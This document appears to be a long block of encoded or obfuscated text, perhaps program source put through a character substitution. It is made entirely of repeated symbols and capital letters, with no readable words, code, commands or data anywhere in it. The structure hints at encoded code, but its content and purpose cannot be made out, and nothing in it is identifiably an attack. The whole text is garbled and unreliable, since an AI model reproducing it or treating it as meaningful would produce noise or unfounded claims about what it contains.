^^C^^^^^Et^^^VJ	VIHMWVKO	VKOIWW^^^^XX^^^MHFKVIFOWVJ	VIFLWWW^^^^t^Z!ILJ^^^^^^C^^^MHFKVKOIWV!VYQYWR^^^VGHNVKLIW^^^C@^^^VNMUNKWR^M!VIFMW^^^^C@^LR^M!VIFJW^C@^^WWEt^^^V_^^VGHNVIFOWVM!VMOKWW^XX^^!	!VZ!ILJWWW^^t^^^ZK!NL
^^^C^V
W^^	!
!
!!VZ!ILJW^^^@C^^^VKGFSGFWEt^^^^t^^t^^Z	KK!^^^C^^Ettt^^^^^^^VM!VIFOWVGHNVHKJWWW^^^tZ		
HGO!^^^C^^^
!
VMHFKVHKGWR^^VWWEttt^^^^^^^Z	KK!^C^^^MHFKVIHLWVZ		
HGO!W^XX^^^J	VHKHWVMIIMVWR^Z		
HGO!R^^^
WEZKJFCJLJHEZKKL
CZKJF[IEt^^tQQ^
^
	S^^).^/^2tt^MIFJHVK		HK!	VWR^VJOJUHWWEt^^^^^^^V_^GGLJO!MOVK		HK!	VWR^^G			JVZHIH!WWW^^^t!LNLVJ	VIIHWR^MHFKVIFKWWEt^^^^^
Et^^t^^K
VK		HK!	VWWEtttt^^			!OLJKIVK		HK!	VWWEt^^VGHNVIFOWVKO	VKNFWWW^>
!

VKO	VIFHWR^^^^^^OR^^^^^VNNUNHWWEt^^^^V_^^^^ZK!NL
^^^^^^XX^^^^GHNVIFOWVKO	VKOIWW^^XX^J	VIFIWVM!VIFLWWW^t^ZMFK^C^^SOEZJHGHHC.6.!70*!3?&Q.6.!70*!3?&EZLOOGICZJHGHHUJKEt^^^^^^VZ	^^C^^NE^^Z	^B^^LE^^^^Z	UUW^^t^ZOLLO^^C^^^^^J	VKOIWV!VJ	VIFFW^^P^^^J	VKMFWVVJLJHGUKIKMOWR^^^VNKOFNUNLMKWWWR^^^VKO	VIFGW^^^^^C@^^VFF FNWR^GHNVIFMW^C@^^^LR^^KO	VIFJW^C@^^^WWEt^VM!VIFIWVM!VIGNWW^^XX^!	!VZOLLOWW^^^^t^^VZ	^CCC^^^N^^XX^J	VIFIWVKO	VIGOWWW^^GHNVIGOWVLWEt
Et^tttZI	NKO^^C^^^^^V
W^	!
!
!!VZOLLOWEttt^^^^^VZI	NKO^^^^B^^^^VOJN LMLW^^^^^^KO	VIGLWVZI	NKOR^^VVJFLULOWR^^^^VOLHUMGJWR^VJJJUIIWR^^^^^VNIOUNOGGWR^^VJGFULKWR^^VKJHSLLWR^^^VJKHUINWR^VNOOUNOWWR^^
WW^^^^t^^^^^^VZ	^^^CCC^^^^^N^^^XX^^MHFKVIGMWVMHFKVIGOWWW^^GHNVIGOWVLWEt
EttZMFK^^C^ZI	NKOEtEt^^t^VZMFK^CCC^^^SOW^^^^ZMFK^^^C^^^^^^VJKIUJMWE^^^^tt^VZMFK^^@C^^^^^VJKGUJOWW^^t^^Z!O
IM^^^C^^GGLJO!MOVK		HK!	VWR^G			JVZ
N	WWEttt^^^^^V_Z!O
IMW^Z!O
IM^C^^^^GGLJO!MOVK		HK!	VWR^Z
N	WEt
!
VMHFKVOGNWR^^^^^GHNVIGJWVZHIH!W^^P^^YY^P^^^^KO	VIGKWVWR^KO	VIGHWWEt^^^^^V_Z!O
IMW^^t!LNLVGHNVIGIWR^^J	VIGFW^^P^ZMFKWEt^^^^^^
Ett			!OLJKIVK		HK!	VWWEt^^^^^^K
VK		HK!	VWWEt^^^FNGNV
WEt^^^^^^GKHOMHV
WEt^^^^^Z
^^C^^^GHNVIGGWVK		HK!	VWR^MHFKVHFIWWEt^^^^^VVKO	VLNHWVK		HK!	VWWR^^JH
GHKVWW^^^^^^Z	MKW^t^^>M!VIFNWVZ	MK^^P^^M!VLNIW^^^P^Z
WEt^>KO	VIFNWVZ	MK^^^^^^P^^M!VOFHW^^^^^P^^Z
WEt^^tttt^^^^^^^VZ	KK!^^XX^_OMKOVW^^XX^^^^KO	VIGMWVMHFKVFNNWWW^^^tt^^^Z
G^^^^^C^^
!
VJ	VFNOWR^VWWEt^^^VMHFKVIHLWVZ
GW^^^XX^_MHFKVFNLWVMIIMVWR^^Z
GR^^^
WW^^tt^^Z
G%#^C^^MIIMVWEt>
!
VM!VFNOWR^^Z
GWEt^^^^^t^tttZ921<?2-%J	VFNMW#^^^C^^NEtt^^^GKNIO	MVWEt^^^!LNLVMHFKVIGIWR^^M!VFNJW^^^P^ZMFKWEt^
Ettt^t^^^^^VZ
IK	^^_CC^^\\W^t^^^^^Z921<?2-%GHNVOW#^^^^^^C^^^^Z
IK	Et^^OGHOLMJVK		HK!	VWR^^^Z
IK	WEt^tt^^^^^^^VZ
HGOW^^^t^^^^ZHFFKNJ
^C^^J	VIGGWVK		HK!	VWR^^^J	VFNKWWEttt^^VVM!VLNHWVK		HK!	VWWR^^^^JH
GHKVWW^^^^^^ZMJJHW^^^t>KO	VIFNWVZMJJH^^P^^GHNVLNIW^^^^P^ZHFFKNJ
WEt^^^t
VZHFFKNJ
R^ZMJJHWEtttttFOGJMVM!VJGFWR^^ZHIH!R^MHFKVIGHWWEtFNGNV
WEt^^^^^^^GKHOMHV
WEtZ921<?2-%MHFKVFNMW#^^^C^NEt^GKNIO	MVWEt^^^^^MIFJHVK		HK!	VWR^^VNLUNMLWWEt^^V			!OLJKIVK		HK!	VWWW^^FKKL!VK		HK!	VWWEt^^^^
!
VKO	VFNHWR^^Z
IK	^P^YY^^P^^M!VIGKWVWR^GHNVIGHWWEtt^
^^^V*	^^ZMN!W^^tQQ^>
^tt^^^^^^!LNLVMHFKVIGIWR^^ZMN!WEt^^^^^^
^^V;
^ZMN!W^t^^t^M
G	FFLIVKO	VIHGWWEt^^^^^^^tttt^^^^^
^!LLOLF!VWt^t^^^^^^^^^V_^VKO	VHWW^^^_^^^KO	VIGMWVMHFKVFNIWWW^tttt^VKO	VFNFWV?<-.?*6^^^^^^P^^^M!VFNGWWW^t^!^^^?<-.?*6^P^^^^^GHNVFNGWEt^^^^^t^^^V_^^^^^M!VIGMWVJ	VFNIWWW^^^^ttt^^
Ett^^^^^t^^^Z
!F^^^^C^^
!VWEZ	CVNHFUNLIWEZJ	KGHGCZ	[HEt^^^^^^^V_^^GHNVFONWVZ
!FWW^tQQ^>
S

^S

tt^^^^^
Etttt^^^Z
^C^VWEt^^^^VZ
!F^^^Z^^C@^Z
HW^^t^^^^VZ^^CCC^^^MIIMVWW^^^^tttt
Et^^tQQ^887^^^tt^Z
%Z#^C^^^Z
HEtt^^^
^Z
EZOMLC.6.!3?41,!(;,-710EZ
KKOM

CZOMLTLEttt^^^^t^
^GKLLMVZ!	R^^^ZNKLWt^ttt^^^^tZJM^^^^C^>M!VKGKWVZ!	R^R^R^^^NR^^^VNIKKHUNLWWE^t^V_^^ZJMW^^^^tQQ^^
^^).^9^<tt^^^^^
^^^Et^^^^^t^t^^^VZNKL^^^Z
MIW^^^t^^^^^^^t^^V_^M!VIKNWVZ
MIW^^^_^Z
MI^^^^MHFKVFOOWVZ
MIW^^^^@^^^^^^VLFGMUOLNMWW^t^^^^^^^
Etttt^^t^^
^t^ZOF		O^^C^^^^^>M!VFNWVZ
MIR^^ZJMWEt^
^^^^V*	^^^ZMKNIHM
JW^t!LNLVKO	VFOLWR^^^^ZMKNIHM
JWEt^
Et^^
^^^V;
^^ZMKNIHM
JW^t
Et^t^^^^^^^^t^^^^VZOF		OW^t^
^
Ett^^^^^t^t^^
^Etttt^tt^^^t^^^^^
^MNIGJOVZ!Wttttt^^ZNKL^^^C^Z921<?2-%M!VIOOW#Et^^^V_^J	VFOMWVZNKLW^^^^^
VZNKLWW^^t^^^
^Et^t^V_^^VM!VHWW^^^^^
VZ!W^^^^^^^^^^GHNVHNOWVZ!R^KO	VLJFWW^^_CC^^W^t^^^
^^^^^Et^^^^t^^^t^ZNOG!MNO^^C^^^^^).!.2+970!:7,^P^YQY^^P^Z!Et^VKO	VLNHWVZ!W^^CCC^^^YPYW^^t^^ZHL!^^^C^^^^^VZNOG!MNOWEt^^^^^^^^^^tQQ^

^
ttt^Z	G	
LLF^C^^^KO	VLNHWVZNOG!MNOWEtttt^^^^^V_^^J	VJLWVZ	G	
LLFW^^^_^^^^KO	VFOJWVZ	G	
LLFWW^^^t
^Et^t^^ZHL!^C^^^^^^IN	JG	VZ	G	
LLFR^^VM!VFOKWR^^^MHFKVKJMWR^^^MHFKVFOHWR^MHFKVFOIWR^^GHNVFOFWWWEtt^^t^^^t^^^^^^^^VZHL!^^^^Z!	W^t^^^V_^^^^KO	VKGGWVZ!	WW^^^^^t^^
Ett^^t^^^^^VGKLLMVZ!	R^^^ZNKLWW^t^^^
^^^^^
Ett^t^^^^^
^^Et^^^t^^^^
^^IN	JG	VZ	G	
LLFR^ZIGF!R^ZLFJFOF^^C^NR^XZ	KL^^^^C^^^^^R^^^XZHNM^C^^^^^Wtt^^^t^^Z
^C^^VWEtt^^VZLFJFOF^^@^^VOBBMWW^^^t^^
^Z
Ettt^^^^ttt^^^VZ	KL^^CCC^W^^^^tZ	KL^C^^^VWEt^^^^^^ZHNM^C^^^MHFKVHGLWV
W^^^^U^VLUFWEtt^^VJ	VHGLWV
W^^^^@^ZHNMW^t^^^
^^Z
Et^^t^^^^^^^^^^V_^^M!VJLWVZ	G	
LLFWW^^^^^t
^^Z
Et^t^^^^ZGNFO^^C^^>GHNVOIFWVZ	G	
LLFWEt^VZGNFO^^^^_CC^^^W^^tQQ^^Stt^^^V
VZ	KL%ZGNFO#WW^t^^^^^
^^^^^Z
Et^^^^tZ	KL%ZGNFO#^^^C^
Et^^tZ
J!G^^C^	MLGG	KH!!!VZ	G	
LLFWEt^^^V_^^^^^M!VFOMWVZ
J!GWW^^^^t^^^
^Z
Et^tttt^^^^^^^VZ
J!G^^^^^ZLI	INFW^t^^^^^VMHFKVHGLWV
W^^^^@^^^^ZHNM^^MHFKVFOGWVZ
W^@C^^^^^VNOUNMGWW^tEttt^t^^ZNOG!MNO^C^^Z	G	
LLF^^^^P^^YQY^^P^^^^^^ZLI	INFEttt^^V>MHFKVFLNWVZNOG!MNOWW^^^t^^
Et^^t^^^V>KO	VJLWVZNOG!MNOWW^t^Z
^^^C^^J	VJOJWVZ
R^^IN	JG	VZNOG!MNOR^ZIGF!R^^ZLFJFOF^U^OR^Z	KLR^ZHNMWWEt^^^^^^^^^^V>J	VFLOWVZNOG!MNOWW^^^^tttZ
NKN^^^C^^^^^J	VFLLWVZNOG!MNOR^

VM!VFLMWWWEtZ
NKN^^^C^^KO	VIKNWVZ
NKNW^^^^^A^M!VFFWVZ
NKNW^D^\\Et^^VM!VFNLWVZ
NKNR^ZIGF!R^^^
WW^^ZKKOCHJMEZNMLGNFCVZKKO@NWAZKKODSZKKOEt^^^^Z
%#^^^C^^^^^ZNOG!MNOEZ!
CONTFEZ!!	CZ!
SOHEttt^tQQ^S^
S
^^.6.^


ttt^^^^t^^^^^^
^^Z
Etttt^t^t^^^^
^^OMFGJLNVZ!Wt^tQQ^S
^^
tt^^^^^^t^^^^^V_^^^^M!VIKNWVZ!W^^_^^^^^Z!W^t
^^Et^^^^t^^^^VJ	VHNOWVZ!R^^KO	VLJFWW^^_CC^^W^t^
^Et^^^ttttt^Z!^^^C^^^^KO	VINNWVZ!WEt^^^^^^^VZ!^CCC^MIIMVWW^^^ZONIFC.6.!3?41,!(;,-710EZIF
OIGCZONIFTKEt
^^^Etttttt^^t^^^^^^V_^^^^^^J	VFLJWVGHNVFLKWW^XX^^^^J	VFLHWV?<-.?*6^^P^GHNVFNGWWW^^^^t^^!^^^?<-.?*6^^P^^J	VFNGWEt^ttt^^^^t^^^^^VJ	VFLIWVGHNVFLFWW^^XX^^^!!
VZ!WW^^^t^^

!VVZ!WR^^^^
WE^t^^^t^^^^tt^^^^Z	G	
LLF^^C^^VGHNVHWW^^^A^).!.2+970!:7,^^P^^^^YQY^P^^^J	VFLGWVZ!W^^^D^\\Et^VZ	G	
LLF^XX^^M!VJLWVZ	G	
LLFW^^^XX^^^^J	VFLGWVZ!W^^^^^^_CC^^^^YPY^XX^^^^J	VFLGWVZ!WW^^^tQQ^
^
S		ttt^^^^^^VOJF!NIOKH!VZ	G	
LLFWW^^^^tttt^
^^
Et^^^^^^^t^^^t^t^^^^^^VKO	VFLIWVM!VFMNWWW^^^t^t^^^^V_^^GHNVFMOWVMHFKVFMLWW^^^_^^
!!VGHNVFMMWWW^^tQQ^

^
tt^^^^^^VKO	VFMJWVGHNVFMKWW^XX^^^^^^KO	VFMJWVJ	VFMHWWW^^^^^tt^^Z^^^C^^
!VVGHNVFMIW^^^^^^C@^MHFKVFMFWR^^^M!VFMGW^C@^^^OWWEt^V_^^
VZW^^^^^XX^^Z%N#S@7:W^tJ	VFMHWVZ%N#S@7:WEtt^^^^^^^ttGHNVFMHWVOWEt^t^ttQQ^^
^^).^<.tt^^^^t^^^^^ZJKG^C^^
!VVZ!WWEt^^^^^V_^^^^^!	!VZJKGWW^tt^
^^VW^ZJKGEt^t^^^t^^^^
^Et^t^^^ttt^^
^^OJF!NIOKH!VZ	G	
LLFR^^^^^^ZLFJFOF^C^NWtt^^^^^^^^^^VZLFJFOF^^@^^^VGO IKWW^^^ttt^^^^
^Ettt^^^^t^^^^^V_^^^^^J	VIKNWVZ	G	
LLFW^^^^Z	G	
LLF^^^^^CCC^^^\\^^^^M!VFJNWVZ	G	
LLFR^MHFKVLJFWW^^^^_CC^W^^t^^^^
^^^Ett^^^^^^ZFL^^C^^>GHNVOIFWVZ	G	
LLFWEt^^^VZFL^^^CCC^^^^^^^_^MHFKVJLWVZFLWW^^^t^^
^^Et^^t^^Z
FM^C^^^^VJ	VHWW^A^^^>MHFKVOIFWV).!.2+970!:7,W^^^^D^^Et^^^VZ
FM^^^^^CCC^^^^^VZFL^^_CC^^^Z
FM^^^^XX^^KO	VFJNWVZFLR^^^^Z
FM^P^^^:7,;=*1,'!-;.?,?*1,W^^^^_CC^^NWW^^^t^^
^^Et^^^^tQQ^>^
ttttt^^^^Z
^^^^C^^>J	VFJOWVZFLWEt^^^V_^^M!VFOMWVZ
WW^^t^^
^Ettt^^^^^t^^^^VZ
^^^^^ZFOJW^^t^^^^^VZFOJ^CCC^^^^^^YPY^^^ZFOJ^^^^^CCC^J	VLJFWW^t
Etttt^^tZNOG!MNO^^C^^ZFL^P^^^

VMHFKVFJLWW^^P^^^ZFOJEt^^^^^^V>J	VFLNWVZNOG!MNOWW^^^^^tOM	VZNOG!MNOWEt
Et^^t^^^^^^V>KO	VFJMWVZNOG!MNOWW^t^OJF!NIOKH!VZNOG!MNOR^ZLFJFOF^U^^^^OWEt^^^^^^tQQ^
^^
tttt^^^V_^OM	VZNOG!MNOWW^^^^^^t^MIFJHVZNOG!MNOR^VJJGSLGWWEtOM	VZNOG!MNOWEtt^^^tttt^^V_^>MHFKVFJJWVZFLWW^^tMIFJHVZFLR^VGKMSJHNWWEt^^^^>GHNVFJKWVZFLWEt^t
^^^_^^^^>MHFKVFLHWVZFLWEt^^^tt^^^^^^^t^^^^
^NL!GHKVWtt^^^^
^tZ
^^^C^^^!LLOLF!VWEt^^^^^V_^^^^GHNVFJHWVZ
WW^t^
Et^^^^ttZKL!M^^C^^^^VWEt^^ZOKL!^^^C^Ett^^^VJ	VFJIWVZ
W^^^^^^ZW^^^^^^t^^^t^^^V_^^^^^MHFKVIKNWVZWW^^t
Et^^^^t^ttt^^^^ZJNK!NG^C^^^^^MHFKVFLGWVZWEt^^^^^^^^^^^^VZJNK!NG^CCC^^^YPYW^^tZJNK!NG^^^^C^^^ZEtt^^^^^^V
VZKL!M%ZJNK!NG#WW^^tQQ^>^
S
tt^^
Etttt^tt^^ZKL!M%ZJNK!NG#^^C^^^^
Et^^VMNIGJOVZWW^t^^^^OMFGJLNVZWEt^^ZOKL!^^^^^C^^
Et^^^tt^^t^^^^^^V>GHNVFJMWVJH
GHKVWWW^^t^^^^ZO^^^C^	MLGG	KH!!!VJH
GHKVWWEt^VGHNVFJHWVZOWW^^^t^ZNKL^^C^^^Z921<?2-%GHNVIOOW#Et^^^^^^^VZO^^^^^^ZLI	INFW^^^tQT^^^TQtt^^t^^^^^^^VZLI	INF^^^^CCC^^^^M	KIMNM
VWW^^^t^^^^
Ettt^^^^^^^t^^^^^^^^t^^^^Z!	^^C^JH
GHKVW^P^^^^^^YQY^P^ZLI	INFEt^^^^^V_^^^^>GHNVFLOWVZ!	W^^^^J	VFFWVGHNVFLLWVZLI	INFR^^^^

VJ	VFLMWWWW^^_CC^^^^^^MHFKVKJMWW^^ttt
Et^^^^^tt^^^^VGKLLMVZ!	R^^^ZNKLWW^^^^t^^OM	VZ!	WEt^^ttZOKL!^^C^
Et^^^^^tt^t^^^^^^tt^^^t^Z!JKGI^^^C^^Z921<?2-%KO	VFJFW#Ett^VKO	VFJHWVZ!JKGIW^^XX^^^_^
VZ!JKGIWW^^tQQ^>
^tt^^^^^^^^VN!	HFVZ!JKGIWW^^^^^ZNHFKGCGJOHNEZNICZNHFKG JKEtZOKL!^^C^^
Ett^t^^^
^^^^V*	^^ZMN!W^^^^t^!LNLVKO	VFJGWR^^^^^ZMN!WEt^^^
^^V;
^^^^^^ZMN!W^ttt^^^^^^t^
^^^GLM	NFVWt^t^^^
^^^^^^tZ
JIGIFIG^^C^^^^V
W^^
!
VMHFKVFKNWR^^NWEtt^^^^^VVKO	VFKOWVW^S^Z
JIGIFIGW^^^^^@C^^^VMKKOUJGWW^^^t^
!
VGHNVFKNWR^^^^J	VFKOWVWWEtZG!GO^^C^^^VVIFNIKJHOVWR^VM!VFKLWWWWEt^^^^^^ZI
KNKFN^^^^C^^^^^^MHFKVFMJWVMHFKVOOKWW^A^^^^^GHNVOOKWVW^^^^D^\\Et^^VZI
KNKFN^^_CC^\\^XX^^ZI
KNKFN^_CC^^IFNIKJHOVWW^ZG!GO%#^C^^^^^^VZI
KNKFNR^VM!VFKLWR^KO	VFKMWWWEt^VZG!GO^^^^^^^^ZIH
INW^^^^Z
KMCKKTHEZKHK!CZ
KMSLJEt^^^^^^^^^VZIH
IN%O#^^^^^^Z!
W^^^^t^^ZIKO^C^^^^KO	VFMJWVM!VFKJWW^^^A^>MHFKVFKJWVZIH
IN%N#^^^P^^YQY^^P^Z!
^^P^^^YTYW^D^^^Et^^^^^^V_MHFKVFJHWVZIKOWW^
Et^^^tt^^^^^VZIKO^^^^^Z
OJ	NFW^^^^^t^^^^^^^V_>GHNVFLOWVZ
OJ	NFWW^
Et^^ZM!

^^C^>GHNVKFHWVZ
OJ	NFWEt^^^^^VZM!

^^^^_CC^^^^^XX^VKO	VFKOWVW^^S^^ZM!

W^^@^^^^^^VMKNHUGJWW^OM	VZ
OJ	NFWEt^t^^tttt^^^^^Z		
HGO!^^C^^^^
!
VMHFKVFKKWR^^^^^^VWWEt^^^^^^^^V_J	VFJHWVZ		
HGO!WW^^Z		
HGO!^C^^VWEt^^^^^^Z
^^^^^C^KO	VIGGWVK		HK!	VWR^M!VFNKWWEtZ!^^^^^C^^VVJ	VMNMWW^^^^A^).!=10*;0*!:7,^^D^^^^^?<-.?*6^P^M!VJGWW^^^^P^^J	VFKHWEZNLIC.6.!3?41,!(;,-710EZ!MCZNLITJEtttt^^^^VGHNVFMJWVM!VFKJWW^^^A^^VW^^>GHNVFKJWVZ!^^P^^^GHNVKNMWW^^^^D^^^VW^^^ZOGNW^^^^^t^^^^VM!VIGGWVMHFKVFLGWVZOGNWW^^CCC^^Z
W^^^
EtZLI	MGNM^^^^C^^KO	VIGGWVM!VFLGWVZOGNWW^^P^^YQY^^P^^^^J	VIGGWVZOGNWEt^^^VKO	VFNLWVZLI	MGNMR^^^^Z		
HGO!R^^^^^^
WW^^^
Et^^^^^^V_>KO	VOKOWVZOGNWW^^^^
Etttt^ZF
^^^^C^^>MHFKVKNIWVZOGNWEtttt^^^^^^^V_ZF
^^^ZF
^^^@^^^^^VMLMKIGFSOOMFHJHWW^^
Et^^^^^ZI	NKO^^C^>GHNVFKIWVZOGNWEt^^^^^^^^^V_KO	VIKNWVZI	NKOW^^^^^^^M!VFKFWVZI	NKOR^^^M!VFKGWW^CCC^W^^^
Ett^Z

H

^^^C^^^GHNVKNKWVM!VFHNWR^^^\\R^^^ZI	NKOWEt^^^^V_MHFKVFHOWVZ

H

W^^^Z

H

^CCC^^ZI	NKO^^^^^^^_JKOOFVZ

H

WW^^
Et^^^GGLJO!MOVZOGNR^Z

H

WEttt^^VKO	VFHLWVM!VOHHWWW^^>!
VZOGNR^^
WEtt^^^
VZ		
HGO!R^Z
R^^Z!R^^^^^^ZOGNR^^ZLI	MGNMR^^^ZF
R^ZI	NKOR^Z

H

WEtHIG!
!VWEt^^^^ttt^t^^^^ZHMOJ^^C^Z921<?2-%M!VFHMW#Et^^^^^Z!JKGI^C^^Z921<?2-%J	VFHJW#Et^tt^^^^^ZNJN^^^C^^VGHNVFHKWVZHMOJW^^^XX^^^^_^^^^^
VZHMOJWW^^^^^VKO	VFHKWVZ!JKGIW^XX^^_^^^^
VZ!JKGIWWEt^^V_^^ZNJNW^^tQT^
^S
^TQtttt
Et^^^^^t^^^^^t^^ZIJHI
G^^^^^^C^^^V
W^^^
!
VGHNVFHHWR^^^NWEt^^^^^^^VVGHNVFKOWVW^S^^^^^ZIJHI
GW^^B^^^^^^VJGFFSOMFFWW^^t^^^
Et^^^^t^^ttt^^^^^NL!GHKVWEt^^
!
VJ	VFHHWR^^^^^M!VFHIWVWWEt^^^^^
^^^V*	^^ZMN!W^^^tttt!LNLVGHNVFHFWR^^^ZMN!WEt^^
^^V;
^^^^^^ZMN!W^ttt^tttt^^^^^^
^^^^JLG!HKMVWtt^^^^^t^
^^t^^t^Z!FH!M^C^^^^^FNGNVWEt^^^^^^^^V_Z!FH!M^^^^^^M!VFOOWVZ!FH!MW^B^^^VJHJUMHWW^^
Etttt^^V_JKOOFVZ!FH!MWW^t!LNLVMHFKVFHGWR^^KO	VFINWWEt^
EZ!
ICOMHNEZJMOCZ!
I[JEt^^^^t^^^^^VM!VFHLWVGHNVKLFWW^^^XX^
!

VJ	VFIOWWW^^
Et^^^^t^^^^Z!!JL
JMF^^^C^^JH
GHKVWEt

V
WEt^^^^^^^V>MHFKVFLNWVZ!!JL
JMFW^^XX^^_>KO	VFJMWVZ!!JL
JMFWW^t^^^^^^
Et^^^^^t^ttt^^V_>MHFKVFILWVZ!!JL
JMFWW^^^tQQ^).^8
^7^
^
tt^^^^^ZHG^C^^>VNWEtOF!NKIOVZ!!JL
JMFR^VJNJUFGWR^^
WEt^^>VZHGWEt^^^^MIFJHVZ!!JL
JMFR^^VLKNULJMWWEt^

V
WEt^^^^^^^^V_>MHFKVFIMWVZ!!JL
JMFW^^_>GHNVOKOWVZ!!JL
JMFWW^t^^^^^MIFJHVZ!!JL
JMFR^^VJLHUHIWWEt

V
WEtttt^t^t^^^^V>KO	VFILWVZ!!JL
JMFW^XX^^^V_>J	VFIJWVZ!!JL
JMFW^^^^^^^_>GHNVFIKWVZ!!JL
JMFWW^^^^XX^^>GHNVFIHWVZ!!JL
JMFWW^^tZHG^^^C^>VNWEtt^^^^OF!NKIOVZ!!JL
JMFR^VHNISOOJWR^^^
WEtttt^>VZHGWEtMIFJHVZ!!JL
JMFR^^^^VJHKULFWWEtt^^

V
WEtt^t^^

V
WEt^^^^^V_>M!VFILWVZ!!JL
JMFW^^^^^^^^_>KO	VFIIWVZ!!JL
JMFW^^^^^^^^_>KO	VFIJWVZ!!JL
JMFWW^^t^!LNLVM!VFIFWR^^^M!VFIGWWEt^^^VKO	VFHLWVM!VKNFWWW^^>
!

VM!VFIOWR^OR^^^^^VKJFLSOFFLWWEt^^^^
Et^t^tZO	L^C^Z!!JL
JMF^^^^^P^YQY^^^^P^M	KIMNM
VWEt^^^^tt^^^^^V	KOLVZO	LWW^^^^^t^^^^^
Et^^tt^^^^^^^^V>MHFKVFFNWVZO	LW^^XX^^^^>GHNVFFOWVZO	LW^@^^^VGMIJSJMIJW^^XX^M!VIGJWV!ML!JNGNVV
W^^>MHFKVFKIWVZO	LWWW^^CCC^^^^M!VIGJWVZ!FH!MWW^^^^tQQ^).^(^<^
^

tt^^^K
VZO	LWEt^OGMJLJ!KMVWEt^KNJGVWEt^^
Et^^^t^^^^^^^^V>M!VFFNWVZO	LW^^XX^^>M!VFFLWVZO	LW^^^@^^VLHIMULMLIWW^^t^ZMKKJ^^C^^^^V
W^^^^>KO	VFKIWVZO	LR^^^^R^^R^^^NR^^^VJNHKUMOWWEt^^^^VJ	VFHOWVZMKKJW^^XX^J	VFNWVKO	VLLJWR^ZMKKJR^^^^Z!W^^XX^^!VZ!%O#R^^MFKKIO
VWR^Y@YWW^^^^^^
Et^^^^
VZMKKJR^^^^Z!WEt^^t^^ZK
IK^^^^^C^GGLJO!MOVZO	LR^G			JVZ!FH!MWWEt^^^V_ZK
IK^^^^^^_>KO	VFLHWVZO	LW^^^^>M!VFFLWVZO	LW^^^B^^^VGKGUJOW^^^^^^J	VIGJWV!ML!JNGNVV
W^^>J	VFKIWVZO	LWWW^^_CC^^^^KO	VFFMWVZ!FH!MWW^^^^^^t^^^^^VZK
IK^^XX^^^>GHNVFFNWVZO	LWW^^^^^^tZMKKJ^^C^^^V
W^^>M!VFFJWVZO	LR^^R^R^NR^VJNLNUIHWWEttt^^ZOKJH^C^^M!VFHOWVZMKKJW^^XX^^MHFKVFNWVKO	VLLJWR^^ZMKKJR^^^Z!W^XX^^!VZ!%O#R^MFKKIO
VWR^^^Y@YWEt^^^^^^
VZMKKJR^^^^^Z!WEZJJCSKIMEZOIGOCVZJJ@NWAZJJDSZJJEt^^^^^^^V_ZOKJHW^^^^tMIFJHVZO	LR^^^VMFHUMJWWEtOM	VZO	LWEt^tt^^^^t^^^VGHNVFHLWVMHFKVKNFWWW^>
!

VMHFKVFFKWR^^OR^^^^VMGOMSMOMWWEt^^^
Ettt^^^t^FKKL!VZO	LWEtt^MIFJHVZO	LR^^^VNUNKGWWEt^K
VZO	LWEt^OGMJLJ!KMVWEtt^^^KNJGVWEt^^
^V*	^ZMN!W^t!LNLVJ	VFIFWR^^^ZMN!WEt^^^^^^
^V;
^^ZMN!W^^t^^ttt^t^^^^
^^LOGH
NVWt^t^^^
^^t^^^^Z!FH!M^^^^^^C^^FNGNVWEtttt^^^^VZ!FH!M^^^^XX^_
F	LFHVZ!FH!MWW^^^^^t^^^^ZHG^C^^GMGHNGVGHNVJGFWR^^\\WEtZH	
JF^C^M	JNOVKO	VFFHWVZHGW^A^^^^ZHG^D^^\\WEZLOGMNCLFTLEZJFFHCZLOGMNSJOEt^ZGMN	KLI
^^C^^M	JNOVZ!FH!MWEt^^^^^^V_GHNVFFHWVZHGW^^^^^^^MHFKVFFIWVZHGW^B^^^^VJNJUGHW^^^
F	LFHVZHGW^^^ZH	
JF^^^CCC^^^\\^^^VZGMN	KLI
^^_CC^^^^\\^^XX^!VZGMN	KLI
R^^ZH	
JFR^Y@YWWW^^t^^FOGJMVMHFKVFFFWR^Z!FH!MR^^^^^J	VIGHWWEtttt^VM!VFHLWVKO	VFNNWWW^^t^^^^>
!
VJ	VHOKWR^NR^^^KO	VIGHWWEtttt^^>
!
VM!VIKGWR^^^NR^^^KO	VIGHWWEt^^>
!
VGHNVFFGWR^^NR^^^^GHNVFGNWWEt^^^^^^t^VKO	VFHLWVKO	VFGOWWW^^>
!

VNLGM
MIJ
KVWWEt^^^^^t^^^t^^^^t^^^^^^^^VMHFKVFHLWVM!VFGLWW^^^^XX^GHNVFHLWVJ	VFGMWWW^^^t^^^^^^Z

^^^^C^^^^
!
VGHNVFGJWWEt^^^VZ

^^_CC^^^^^^^^^XX^^^^Z

^^_CC^^MFKKIO
VWW^^t^>
!
VJ	VFGKWR^^^MFKKIO
VWR^^J	VFGNWWEt^tttttt^^tt^^^^^V_^^KO	VFHLWVMHFKVFGHWW^^^^^^^_^^^^^!
VGHNVFGKWR^^^^MFKKIO
VWR^^\\R^KO	VFGNWWW^t^^
Etttt^^^^^^t^^^^^JNIIVWEt^^^^^^VM!VFGIWVKO	VFGFWWW^^^t^>
!
VGHNVHOKWR^^^NR^M!VFGGWWEt^^>
!
VM!VIKGWR^NR^GHNVFGGWWEt^^>
!
VGHNVGNNWR^NR^^J	VFGGWWEt^^^t^^^^VMHFKVFGIWVM!VGNOWWW^^^>
!

VNLGM
MIJ
KVWWEZ
GOCLHTLEZJJCZ
GOSLGEtt^^^^^^ttt^^^^VZ!FH!M^XX^_
F	LFHVZ!FH!MWW^^^t^^FOGJMVM!VFFFWR^^^^^Z!FH!MR^M!VFGGWWEt^^t^	NJNLI
	VWEttttt^MIFJHVK		HK!	VWR^VLJFUJJWWEtttHNFHJNJLVGHNVKOJWR^^M!VKOHWR^^^NWEt^ttt^^^^^HNFHJNJLVMHFKVGNLWR^^^MHFKVGNMWR^^^^NWEt^^^^^^^
^^^^V*	^^ZMN!W^^^^^t^^^^^!LNLVJ	VGNJWR^ZMN!WEt^^^^^^^VMHFKVFGIWVJ	VINLWWW^>
!
VGHNVFGKWWEt^^^^
^^^^^V;
^^^ZMN!W^^tttt^^^^^^^^^^^^^VKO	VFGIWVJ	VINLWWW^>
!
VKO	VFGKWWEt^^t^^t^^
^^^VWttQQ^).^:
^2D^^

tt^
^^^^^t^^^^^VGHNVFGIWVKO	VKOIWWW^^^^^^t^^>MHFKVGNKWV!VYQYWR^^^VGHNVGNHW^^C@^^^VMULWR^^^MHFKVIFJW^C@^^^^R^^^^KO	VJJOW^C@^WWEt^^^^t^^^
^^V*	^^^^ZMN!W^^^t^^^!LNLVMHFKVGNIWR^^^ZMN!WEt^^^^^
^V;
^^^^^ZMN!W^ttttttt^^^tttt^
